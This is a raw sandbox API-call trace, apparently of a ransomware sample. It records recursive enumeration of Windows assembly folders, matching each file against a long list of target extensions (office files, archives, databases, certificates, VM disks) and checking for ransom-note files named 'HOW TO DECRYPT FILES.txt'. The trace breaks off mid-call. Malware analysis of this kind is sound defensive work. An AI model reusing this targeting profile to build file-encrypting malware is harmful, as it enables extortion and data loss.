(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.fdb") returned 0 [0105.306] lstrlenA (lpString="*.fdb") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.wab") returned 0 [0105.306] lstrlenA (lpString="*.wab") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dat") returned 0 [0105.306] lstrlenA (lpString="*.dat") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.txt") returned 0 [0105.306] lstrlenA (lpString="*.txt") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.jpeg") returned 0 [0105.306] lstrlenA (lpString="*.jpeg") returned 6 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.jpg") returned 0 [0105.306] lstrlenA (lpString="*.jpg") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.png") returned 0 [0105.306] lstrlenA (lpString="*.png") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.php") returned 0 [0105.306] lstrlenA (lpString="*.php") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cs") returned 0 [0105.306] lstrlenA (lpString="*.cs") returned 4 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cpp") returned 0 [0105.306] lstrlenA (lpString="*.cpp") returned 5 [0105.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.rar") returned 0 [0105.307] lstrlenA (lpString="*.rar") returned 5 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.zip") returned 0 [0105.307] lstrlenA (lpString="*.zip") returned 5 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.html") returned 0 [0105.307] lstrlenA (lpString="*.html") returned 6 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.htm") returned 0 [0105.307] lstrlenA (lpString="*.htm") returned 5 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xlsx") returned 0 [0105.307] lstrlenA (lpString="*.xlsx") returned 6 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xls") returned 0 [0105.307] lstrlenA (lpString="*.xls") returned 5 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mp4") returned 0 [0105.307] lstrlenA (lpString="*.mp4") returned 5 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ppt") returned 0 [0105.307] lstrlenA (lpString="*.ppt") returned 5 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pptx") returned 0 [0105.307] lstrlenA (lpString="*.pptx") returned 6 [0105.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.doc") returned 0 [0105.307] lstrlenA (lpString="*.doc") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dot") returned 0 [0105.308] lstrlenA (lpString="*.dot") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.docx") returned 0 [0105.308] lstrlenA (lpString="*.docx") returned 6 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.7z") returned 0 [0105.308] lstrlenA (lpString="*.7z") returned 4 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tar") returned 0 [0105.308] lstrlenA (lpString="*.tar") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.bz2") returned 0 [0105.308] lstrlenA (lpString="*.bz2") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.gz") returned 0 [0105.308] lstrlenA (lpString="*.gz") returned 4 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mkv") returned 0 [0105.308] lstrlenA (lpString="*.mkv") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.eml") returned 0 [0105.308] lstrlenA (lpString="*.eml") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.msg") returned 0 [0105.308] lstrlenA (lpString="*.msg") returned 5 [0105.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.edb") returned 0 [0105.308] lstrlenA (lpString="*.edb") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.accdb") returned 0 [0105.309] lstrlenA (lpString="*.accdb") returned 7 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.odb") returned 0 [0105.309] lstrlenA (lpString="*.odb") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.java") returned 0 [0105.309] lstrlenA (lpString="*.java") returned 6 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.asm") returned 0 [0105.309] lstrlenA (lpString="*.asm") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pfx") returned 0 [0105.309] lstrlenA (lpString="*.pfx") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pem") returned 0 [0105.309] lstrlenA (lpString="*.pem") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.p12") returned 0 [0105.309] lstrlenA (lpString="*.p12") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.gpg") returned 0 [0105.309] lstrlenA (lpString="*.gpg") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vsd") returned 0 [0105.309] lstrlenA (lpString="*.vsd") returned 5 [0105.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.odg") returned 0 [0105.310] lstrlenA (lpString="*.odg") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.raw") returned 0 [0105.310] lstrlenA (lpString="*.raw") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.nef") returned 0 [0105.310] lstrlenA (lpString="*.nef") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.svg") returned 0 [0105.310] lstrlenA (lpString="*.svg") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.psd") returned 0 [0105.310] lstrlenA (lpString="*.psd") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vmx") returned 0 [0105.310] lstrlenA (lpString="*.vmx") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vmdk") returned 0 [0105.310] lstrlenA (lpString="*.vmdk") returned 6 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.vdi") returned 0 [0105.310] lstrlenA (lpString="*.vdi") returned 5 [0105.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.lay6") returned 0 [0105.310] lstrlenA (lpString="*.lay6") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mpeg") returned 0 [0105.311] lstrlenA (lpString="*.mpeg") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.djvu") returned 0 [0105.311] lstrlenA (lpString="*.djvu") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tiff") returned 0 [0105.311] lstrlenA (lpString="*.tiff") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.backup") returned 0 [0105.311] lstrlenA (lpString="*.backup") returned 8 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.pdf") returned 0 [0105.311] lstrlenA (lpString="*.pdf") returned 5 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.cert") returned 0 [0105.311] lstrlenA (lpString="*.cert") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.docm") returned 0 [0105.311] lstrlenA (lpString="*.docm") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xlsm") returned 0 [0105.311] lstrlenA (lpString="*.xlsm") returned 6 [0105.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.dwg") returned 0 [0105.312] lstrlenA (lpString="*.dwg") returned 5 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.nd") returned 0 [0105.312] lstrlenA (lpString="*.nd") returned 4 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.tlg") returned 0 [0105.312] lstrlenA (lpString="*.tlg") returned 5 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.lgb") returned 0 [0105.312] lstrlenA (lpString="*.lgb") returned 5 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mov") returned 0 [0105.312] lstrlenA (lpString="*.mov") returned 5 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.xdw") returned 0 [0105.312] lstrlenA (lpString="*.xdw") returned 5 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.ods") returned 0 [0105.312] lstrlenA (lpString="*.ods") returned 5 [0105.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.wav") returned 0 [0105.408] lstrlenA (lpString="*.wav") returned 5 [0105.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.mp3") returned 0 [0105.408] lstrlenA (lpString="*.mp3") returned 5 [0105.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.aiff") returned 0 [0105.408] lstrlenA (lpString="*.aiff") returned 6 [0105.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.flac") returned 0 [0105.408] lstrlenA (lpString="*.flac") returned 6 [0105.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.m4a") returned 0 [0105.408] lstrlenA (lpString="*.m4a") returned 5 [0105.408] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\ced847eb933ffee8e1a2e738205916ce\\System.DirectoryServices.Protocols.ni.dll", pszSpec="*.csv") returned 0 [0105.409] lstrlenA (lpString="*.csv") returned 5 [0105.409] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185348db, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x185348db, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1855aa3c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6f400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.409] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.409] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18580b9c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18580b9c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18580b9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ced847eb933ffee8e1a2e738205916ce", cAlternateFileName="CED847~1")) returned 0 [0105.409] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.409] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Drawing", cAlternateFileName="SYSTEM~1.DRA")) returned 1 [0105.409] lstrcmpA (lpString1=".", lpString2="System.Drawing") returned -1 [0105.409] lstrcmpA (lpString1="..", lpString2="System.Drawing") returned -1 [0105.409] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.409] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Drawing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing" [0105.409] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing") returned 61 [0105.409] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.410] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.410] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.411] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.411] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.411] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dbfe8642a8ed7b2b103ad28e0c96418a", cAlternateFileName="DBFE86~1")) returned 1 [0105.411] lstrcmpA (lpString1=".", lpString2="dbfe8642a8ed7b2b103ad28e0c96418a") returned -1 [0105.411] lstrcmpA (lpString1="..", lpString2="dbfe8642a8ed7b2b103ad28e0c96418a") returned -1 [0105.411] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\*.*") returned="*.*" [0105.411] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\", lpString2="dbfe8642a8ed7b2b103ad28e0c96418a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a" [0105.411] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a") returned 94 [0105.411] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.411] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.411] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc02c0c, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdc02c0c, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdc02c0c, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.412] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.412] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.412] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdb4452b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfdb4452b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfdb907ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x183800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.412] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.412] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.ni.dll") returned -1 [0105.412] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.ni.dll") returned -1 [0105.412] lstrcmpiA (lpString1="", lpString2="System.Drawing.ni.dll") returned -1 [0105.412] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\*.*") returned="*.*" [0105.412] lstrcpyA (in: lpString1=0x407019, 